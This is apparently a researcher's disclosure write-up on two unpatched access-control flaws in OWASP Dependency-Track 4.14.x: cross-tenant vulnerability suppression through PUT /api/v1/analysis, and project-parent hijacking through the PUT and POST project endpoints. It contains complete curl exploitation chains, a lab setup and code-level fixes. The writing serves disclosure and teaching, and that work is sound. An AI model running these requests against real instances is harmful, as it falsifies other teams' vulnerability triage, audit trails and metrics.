LIVE ANALYSIS May 28, 2026

Dependency-Track: Breaking Tenant Isolation with a Single PUT Request

OWASP Dependency-Track ships a Portfolio ACL feature that promises multi-tenant isolation. Turns out it only blocks reads. A low-privileged user can suppress any vulnerability, rewrite triage decisions, poison audit trails, and inject rogue projects into another team's hierarchy. Here is how.

#OWASP #Dependency-Track #IDOR #Access Control #SCA #Vulnerability Management #CWE-639 #CWE-915

OWASP Dependency-Track is the go-to open-source platform for tracking vulnerabilities in your software supply chain. Companies use it to know which CVEs affect which products, and more importantly, to record what they decided to do about each one. “We accept the risk.” “This is a false positive.” “Not affected.” Those decisions live in Dependency-Track’s analysis records, and auditors rely on them.

The platform supports a feature called Portfolio Access Control. You enable it, you assign projects to teams, and each team only sees their own stuff. Simple multi-tenant isolation. Or so it seems.

During an audit of Dependency-Track 4.14.x, I found two classes of access control failures. The first lets a user from team-A suppress vulnerabilities and rewrite triage decisions on team-B’s projects. The second lets that same user inject their own project into team-B’s hierarchy, corrupting metrics, polluting SBOM exports, and hijacking notification routing. In both cases, the read path returns a clean 403. The write path does not check at all.

This post covers the technical details of both findings, the methodology that surfaced them, full reproduction steps, and the disclosure process.

What is Portfolio ACL

Dependency-Track lets you organize projects into portfolios and map them to teams. When you flip the access-management.acl.enabled toggle in Administration, users are supposed to only interact with projects assigned to their team.

The feature exists because many organizations run a single Dependency-Track instance shared between multiple teams or business units. The security team manages one set of projects, the platform team manages another, and nobody should be able to touch each other’s data.

When ACL is enabled, most endpoints do enforce isolation. If alice is in team-A and tries to fetch the findings of a project owned by team-B, she gets a clean 403 Forbidden. That part works fine.

The problem is on the write side.

Finding 1: Cross-Tenant Vulnerability Triage (IDOR)

The bug

Two API endpoints accept analysis decisions without verifying project access.

The first one is PUT /api/v1/analysis. This is the endpoint that records triage decisions. You send it a project UUID, a component UUID, a vulnerability UUID, and your decision (analysis state, suppression flag, comment). The backend resolves all three objects by UUID and creates the analysis record.

The second one is PUT /api/v1/violation/analysis. Same pattern, same problem, different resource type.

Both endpoints check that the caller has the VULNERABILITY_ANALYSIS permission. That is role-based access control. But they never check that the caller’s team is mapped to the target project. That is the missing piece.

Here is what the code looks like in AnalysisResource.java:

@PUT
@PermissionRequired(Permissions.Constants.VULNERABILITY_ANALYSIS)
public Response updateAnalysis(AnalysisRequest request) {
    final Project project = qm.getObjectByUuid(Project.class, request.getProject());
    // No qm.hasAccess(super.getPrincipal(), project) check here
    final Component component = qm.getObjectByUuid(Component.class, request.getComponent());
    final Vulnerability vuln = qm.getObjectByUuid(Vulnerability.class, request.getVulnerability());
    // ... proceeds to create/update the analysis
}

Compare this with BomResource.java or FindingResource.java, which correctly call qm.hasAccess() before touching any data. The pattern is right there in the codebase. It just was not applied everywhere.

On the persistence layer, FindingsQueryManager.getAnalysis() runs a raw JDOQL query that skips preprocessACLs() entirely. Other project-scoped queries in the same file do call it. Inconsistent enforcement is the root cause of most access control bugs, and this is a textbook example.

How I found it

It took about five minutes. In a Java JAX-RS application, every resource class that operates on project-scoped data should verify access. So I ran a one-liner across all resource classes:

for f in src/main/java/org/dependencytrack/resources/v1/*.java; do
  total=$(grep -c "getObjectByUuid" "$f" 2>/dev/null || echo 0)
  access=$(grep -c "hasAccess" "$f" 2>/dev/null || echo 0)
  if [ "$total" -gt 0 ]; then
    printf "%-50s objByUuid=%-3s hasAccess=%s\n" \
      "$(basename $f)" "$total" "$access"
  fi
done

The output:

AnalysisResource.java                objByUuid=3   hasAccess=0
ViolationAnalysisResource.java       objByUuid=3   hasAccess=0
BomResource.java                     objByUuid=2   hasAccess=2
FindingResource.java                 objByUuid=1   hasAccess=1
ProjectResource.java                 objByUuid=5   hasAccess=4

Two resource classes fetching objects by UUID with zero access checks. That was the signal. If 12 out of 14 resource classes call hasAccess, the two that don’t are probably vulnerable. It is not fancy. It is not AI-powered. It works.

The ProjectResource.java line is interesting too. Five UUID lookups, four access checks. That ratio of 5/4 led me straight to the second finding, which I will cover below.

Exploitation

Grab alice’s JWT:

API=http://localhost:8081/api
ALICE_JWT=$(curl -s -X POST "$API/v1/user/login" \
  -d "username=alice&password=Alice123!")

Confirm alice cannot read proj-B’s findings:

curl -s -w "\nHTTP %{http_code}\n" \
  "$API/v1/finding/project/<proj-B-uuid>" \
  -H "Authorization: Bearer $ALICE_JWT"

Response: 403 Forbidden. The read path is locked down.

Now alice writes an analysis decision on proj-B. She has never seen this project. She should not be able to touch it.

curl -s -X PUT "$API/v1/analysis" \
  -H "Authorization: Bearer $ALICE_JWT" \
  -H "Content-Type: application/json" \
  -d '{
    "project":       "<proj-B-uuid>",
    "component":     "<log4j-component-uuid>",
    "vulnerability": "<CVE-2021-44228-uuid>",
    "analysisState": "NOT_AFFECTED",
    "isSuppressed":  true,
    "comment":       "cross-tenant-write-proof"
  }'

Response: 200 OK.

{
  "analysisState": "NOT_AFFECTED",
  "isSuppressed": true,
  "analysisComments": [
    { "comment": "Analysis: NOT_SET → NOT_AFFECTED", "commenter": "alice" },
    { "comment": "Suppressed", "commenter": "alice" },
    { "comment": "cross-tenant-write-proof", "commenter": "alice" }
  ]
}

Alice just suppressed Log4Shell on a project she cannot read. The vulnerability disappears from team-B’s active findings view. The audit trail now shows alice’s name on a project she has no business touching.

Impact

A disgruntled employee with a low-privileged account suppresses all critical CVEs on the flagship product’s project right before an audit. The security team sees a clean dashboard. The auditor sees a clean dashboard. Nobody knows until the next scan re-detects everything and someone notices the suppression history.

An attacker injects comments like “Risk accepted per CISO decision” on another team’s vulnerabilities. In regulated environments where audit trails are evidence, this is tampering with compliance records.

An attacker marks vulnerabilities as NOT_AFFECTED on projects they plan to target. If the organization uses Dependency-Track to drive patching priorities, those vulnerabilities drop off the radar entirely.

The fix

Add one check before creating the analysis:

if (!qm.hasAccess(super.getPrincipal(), project)) {
    return Response.status(Response.Status.FORBIDDEN)
        .entity("Access to the specified project is forbidden")
        .build();
}

This goes into AnalysisResource.updateAnalysis() and ViolationAnalysisResource.updateAnalysis(). The underlying query manager should also call preprocessACLs() for consistency, but the endpoint-level check is the critical one. The maintainers confirmed this exact fix exists in v5, complete with dedicated tests asserting 403 on cross-tenant mutation.

Finding 2: Confused Deputy via Parent Mass-Assignment

The bug

While investigating the ProjectResource.java ratio of 5 UUID lookups to 4 access checks, I found an inconsistency that has nothing to do with the broader ACL feature being beta or incomplete. It is a security check that exists in one HTTP method handler and is missing from the other two handlers for the exact same operation on the exact same field.

Dependency-Track supports project hierarchies. A project can have a parent, and that relationship drives metrics aggregation, SBOM tree views, and notification routing. When you update a project’s parent, the server should verify that you have access to the target parent project. Otherwise you can attach your project as a child of any project in the instance, regardless of team boundaries.

The PATCH /v1/project/{uuid} handler gets this right. At line 710 of ProjectResource.java:

if (jsonProject.getParent() != null && jsonProject.getParent().getUuid() != null) {
    final Project parent = qm.getObjectByUuid(Project.class,
        jsonProject.getParent().getUuid());
    if (parent == null) {
        throw new ClientErrorException("parent project not found",
            Response.Status.NOT_FOUND);
    }
    if (!qm.hasAccess(getPrincipal(), parent)) {
        throw new ClientErrorException(
            "Access to the specified parent project is forbidden",
            Response.Status.FORBIDDEN);
    }
    project.setParent(parent);
}

Clean. Resolves the parent, checks access, sets it. The BomResource does the same thing during auto-create with parent specification. That is three code paths where someone deliberately wrote the access check.

Now look at PUT /v1/project (the create handler), around line 430:

if (jsonProject.getParent() != null && jsonProject.getParent().getUuid() != null) {
    Project parent = qm.getObjectByUuid(Project.class,
        jsonProject.getParent().getUuid());
    jsonProject.setParent(parent);
}

No access check. Resolves by UUID, sets it, done. Any authenticated user with PORTFOLIO_MANAGEMENT can parent their new project to any project UUID in the system.

The POST /v1/project (update handler) is the same story. It delegates to ProjectQueryManager.updateProject(), which handles the parent block at line 595:

if (transientProject.getParent() != null
        && transientProject.getParent().getUuid() != null) {
    if (project.getUuid().equals(transientProject.getParent().getUuid())) {
        throw new IllegalArgumentException(
            "A project cannot select itself as a parent");
    }
    Project parent = getObjectByUuid(Project.class,
        transientProject.getParent().getUuid());
    if (parent == null) {
        throw new IllegalArgumentException(
            "The specified parent project does not exist");
    }
    if (!Boolean.TRUE.equals(parent.isActive())) {
        throw new IllegalArgumentException(
            "An inactive project cannot be selected as a parent");
    }
    if (isChildOf(parent, transientProject.getUuid())) {
        throw new IllegalArgumentException(
            "The new parent project cannot be a child of the current project.");
    }
    project.setParent(parent);
}

Five validation checks: no self-reference, parent exists, parent is active, no circular hierarchy. The one check that is missing is the one that matters for security: does the caller have access to the parent project? That check exists in PATCH. It exists in BomResource. It does not exist here.

This is not a beta ACL gap. This is a security control that someone wrote correctly in one handler and forgot to port to the other two.

Exploitation

I automated the full chain. Here is the minimal reproduction from a clean terminal.

Setup (one block, creates two isolated teams with separate projects):

API=http://localhost:8081/api && JWT=$(curl -s -X POST $API/v1/user/login \
  -d 'username=admin&password=Admin123!') && \
curl -s -X POST $API/v1/configProperty \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d '{"groupName":"access-management","propertyName":"acl.enabled",
       "propertyValue":"true"}' > /dev/null && \
TA=$(curl -s -X PUT $API/v1/team -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" -d '{"name":"team-A"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['uuid'])") && \
TB=$(curl -s -X PUT $API/v1/team -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" -d '{"name":"team-B"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['uuid'])") && \
for P in VIEW_PORTFOLIO PORTFOLIO_MANAGEMENT; do
  curl -s -X POST $API/v1/permission/$P/team/$TA \
    -H "Authorization: Bearer $JWT" > /dev/null
  curl -s -X POST $API/v1/permission/$P/team/$TB \
    -H "Authorization: Bearer $JWT" > /dev/null
done && \
curl -s -X PUT $API/v1/user/managed -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","fullname":"Attacker","email":"a@x",
       "newPassword":"Attacker1!","confirmPassword":"Attacker1!"}' \
  > /dev/null && \
curl -s -X POST $API/v1/user/attacker/membership \
  -H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
  -d "{\"uuid\":\"$TA\"}" > /dev/null && \
PA=$(curl -s -X PUT $API/v1/project -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"attacker-proj\",\"version\":\"1.0\",
       \"classifier\":\"APPLICATION\",\"active\":true,
       \"accessTeams\":[{\"uuid\":\"$TA\"}]}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['uuid'])") && \
PB=$(curl -s -X PUT $API/v1/project -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  -d "{\"name\":\"victim-proj\",\"version\":\"1.0\",
       \"classifier\":\"APPLICATION\",\"active\":true,
       \"accessTeams\":[{\"uuid\":\"$TB\"}]}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['uuid'])") && \
AJWT=$(curl -s -X POST $API/v1/user/login \
  -d 'username=attacker&password=Attacker1!') && \
echo "Setup done. attacker-proj=$PA | victim-proj=$PB"

Pre-attack: attacker tries to read the victim’s project:

curl -s -w "\nHTTP %{http_code}\n" \
  $API/v1/project/$PB -H "Authorization: Bearer $AJWT"
Access to the specified project is forbidden
HTTP 403

Attack: attacker updates their own project, setting the victim’s project as parent:

curl -s -X POST $API/v1/project \
  -H "Authorization: Bearer $AJWT" \
  -H "Content-Type: application/json" \
  -d "{\"uuid\":\"$PA\",\"name\":\"attacker-proj\",\"version\":\"1.0\",
       \"classifier\":\"APPLICATION\",\"collectionLogic\":\"NONE\",
       \"active\":true,
       \"parent\":{\"uuid\":\"$PB\"}}" | python3 -m json.tool
{
    "name": "attacker-proj",
    "version": "1.0",
    "uuid": "cd0e3fa0-aab3-4815-8450-65ddf3a2943b",
    "parent": {
        "name": "victim-proj",
        "version": "1.0",
        "uuid": "6f832f02-8595-431b-b302-a50d27811d4e"
    }
}

HTTP 200. The attacker’s project is now a child of the victim’s project.

Verify: admin lists the victim’s children:

curl -s $API/v1/project/$PB/children \
  -H "Authorization: Bearer $JWT" | python3 -m json.tool
[
    {
        "name": "attacker-proj",
        "version": "1.0",
        "uuid": "cd0e3fa0-aab3-4815-8450-65ddf3a2943b",
        "parent": {
            "name": "victim-proj",
            "version": "1.0",
            "uuid": "6f832f02-8595-431b-b302-a50d27811d4e"
        }
    }
]

The victim’s project tree is now contaminated.

Control: the same operation via PATCH is correctly blocked:

curl -s -w "\nHTTP %{http_code}\n" -X PATCH $API/v1/project/$PA \
  -H "Authorization: Bearer $AJWT" \
  -H "Content-Type: application/json" \
  -d "{\"parent\":{\"uuid\":\"$PB\"}}"
Access to the specified parent project is forbidden
HTTP 403

PATCH enforces the check. POST does not. Same field, same operation, different code path.

Impact

The parent relationship in Dependency-Track is not cosmetic. It drives three backend mechanisms.

Metrics aggregation. The scheduleParentMetricsUpdate() method propagates vulnerability counts upward. An attacker who parents a project full of critical CVEs to the victim’s project corrupts the victim team’s dashboard metrics. In organizations where management decisions are driven by vulnerability counts, this is a direct path to misallocation of resources.

SBOM tree exports. Hierarchical SBOM exports walk the parent-child tree. The attacker’s components appear in the victim’s export. If the victim’s SBOM is shared with customers or regulators, it now contains components that were never part of their software.

Notification routing. Notification rules can be scoped to a project and its descendants. When the attacker triggers events (new vulnerability, policy violation), those notifications fire on the victim’s webhooks, Slack channels, or JIRA integrations. At minimum this is noise. At worst, if the notification template includes project data, it is a content injection vector into the victim team’s communication channels.

The fix

The fix is a one-liner in two places. In PUT /v1/project (createProject), before jsonProject.setParent(parent):

if (!qm.hasAccess(super.getPrincipal(), parent)) {
    return Response.status(Response.Status.FORBIDDEN)
        .entity("Access to the specified parent project is forbidden")
        .build();
}

In ProjectQueryManager.updateProject(), before project.setParent(parent), the same check using getCurrentPrincipal(). The PATCH handler already has the correct implementation. It is a copy-paste.

Setting Up the Lab

Both findings can be reproduced on the same lab. You need Docker Compose and about ten minutes.

services:
  dtrack-api:
    image: dependencytrack/apiserver:4.14.2
    ports:
      - "8081:8080"
    environment:
      - ALPINE_DATABASE_MODE=external
      - ALPINE_DATABASE_URL=jdbc:postgresql://dtrack-db:5432/dtrack
      - ALPINE_DATABASE_DRIVER=org.postgresql.Driver
      - ALPINE_DATABASE_USERNAME=dtrack
      - ALPINE_DATABASE_PASSWORD=dtrack
    depends_on: [dtrack-db]
    volumes:
      - dtrack-data:/data

  dtrack-db:
    image: postgres:16
    environment:
      POSTGRES_USER: dtrack
      POSTGRES_PASSWORD: dtrack
      POSTGRES_DB: dtrack
    volumes:
      - pgdata:/var/lib/postgresql/data

volumes:
  dtrack-data:
  pgdata:

Spin it up and wait about 60 seconds for the schema initialization:

docker compose up -d && sleep 60

Bootstrap the admin account (default is admin/admin, forced to change on first login):

API=http://localhost:8081/api
curl -s -X POST $API/v1/user/forceChangePassword \
  -d "username=admin&password=admin&newPassword=Admin123!&confirmPassword=Admin123!"
JWT=$(curl -s -X POST $API/v1/user/login -d "username=admin&password=Admin123!")

From here, follow the exploitation steps above. For Finding 1, you will also need to upload a CycloneDX BOM containing a vulnerable component (e.g. log4j-core 2.14.1) to get a CVE-2021-44228 analysis target. For Finding 2, no BOM is needed since the attack operates on the project hierarchy directly.

Side Quest: NuGet @id Credential Leak

While auditing the same codebase, I investigated a potential variant of GHSA-83g2-vgqh-mgxc. That advisory disclosed that Dependency-Track would leak repository credentials when following HTTP redirects to attacker-controlled servers.

The fix landed, but I wanted to check if the NuGet repository analyzer had a different path to the same bug.

NuGet repositories serve a service index at /v3/index.json with @id fields pointing to API endpoints. The idea: if an attacker controls the NuGet repository, they set @id to point to their own server. When Dependency-Track follows that URL to fetch package metadata, maybe it sends the configured credentials along.

I set up a fake NuGet index with @id pointing to a leak listener and configured Dependency-Track with credentials for that repository. Then I uploaded a BOM with a NuGet package and waited.

Dependency-Track did follow the @id URL to my server. That part worked. But it stripped the Authorization header on the cross-origin request.

---REQUEST---
Path: /v3/registration/newtonsoft.json/index.json
Host: 172.17.0.1:9002
User-Agent: Java/...
Accept: */*
---END---

No credentials. The GHSA-83g2 fix covers this path. I am documenting this because testing variants and reporting negative results is part of the job. Not every theory pans out, and that is fine.

Vendor Response

I reported both findings to security@dependencytrack.org in May 2026. The maintainers responded promptly and engaged constructively throughout the process.

Steve Springett, the project lead, pointed to GitHub issue #1127, filed in 2021, which tracks ACL gaps as a known limitation. His position was that Portfolio ACL has been documented as beta and feature-incomplete since v4.3.0, and that the known gaps would be addressed in v5.0. The maintainers explicitly stated there are no plans to backport fixes to the v4 branch.

I submitted CVE requests to VulnCheck independently. VulnCheck relayed the requests to the maintainers, who maintained their position. On the confused deputy finding specifically, I asked VulnCheck to pose a direct question to the maintainers: does a security check that is implemented in one HTTP method handler (PATCH) but missing from the other two handlers (PUT, POST) for the same operation on the same field qualify as a vulnerability independently of the beta status of the broader ACL feature?

The maintainers responded that all findings fall under the same beta-designated ACL feature and declined to distinguish between them. VulnCheck noted that this type of classification is a known pattern in the CVE program: when maintainers document a feature as beta, CNAs generally defer to that designation even when the specific finding is an inconsistency in an existing control rather than a missing feature.

No CVEs were assigned.

I want to be clear about my position. The IDOR and the multi-team permission model can reasonably be classified as known ACL gaps, even though I disagree with the “documented gap” framing for a feature that ships in the default Docker image with a one-click toggle. But the confused deputy is different. The hasAccess(parent) check in PATCH is not an ACL enforcement mechanism. It exists regardless of whether portfolio ACL is enabled. It was implemented deliberately in three code paths and omitted from two others. That is not a beta limitation. That is a bug.

The maintainers have invested significant effort in v5, and the ACL refactor there is real. The mitigation for v4 users is straightforward: if you require security guarantees around team isolation, do not enable Portfolio Access Control in v4.

Timeline

DateEvent
May 2026Both findings reported to security@dependencytrack.org
May 2026Maintainers acknowledge, classify as documented gaps in beta ACL
May 2026CVE requests submitted to VulnCheck
May 2026VulnCheck relays to maintainers, maintainers decline CVE issuance
May 2026Researcher requests direct answer on PATCH vs PUT/POST inconsistency
May 2026Maintainers maintain beta designation covers all ACL-related findings
May 2026VulnCheck confirms no CVEs will be assigned
May 2026Public disclosure via this writeup

Takeaways

Test writes separately from reads. A 403 on GET does not mean PUT is blocked too. This is the most common authorization bypass pattern in REST APIs and it has been for years.

Grep before you reverse. Five minutes with grep -c "hasAccess" across resource classes found the IDOR. The ratio mismatch in ProjectResource.java (5 UUID lookups, 4 access checks) found the confused deputy. Static analysis does not have to be complicated to be effective.

When you find a security check in one code path, verify it exists in every code path that does the same thing. The confused deputy pattern (PATCH checks access, PUT and POST do not) is a universal bug class. It happens because PATCH was added later, probably as part of a hardening effort, and the fix was never backported to the older handlers.

Beta features in production images are still attack surface. If a security feature can be enabled through the standard admin UI on a stable release, it needs to provide the guarantees it advertises. Otherwise it should not be there. The mitigation advice (“do not enable it”) is valid but assumes administrators know about the limitations before enabling the feature, not after discovering them through an incident.

And finally: always reproduce empirically before drawing conclusions. I spent hours setting up a lab to confirm a NuGet credential leak variant that turned out to be already fixed. That negative result is in this post because documenting what does not work is how you build a methodology you can trust.

Affected Versions

All versions of Dependency-Track from 4.0.0 through 4.14.x with Portfolio ACL enabled. Both findings confirmed on 4.14.2. Unpatched as of May 2026. The maintainers recommend upgrading to v5.0 when it becomes generally available.


christbowel.com · github.com/christbowel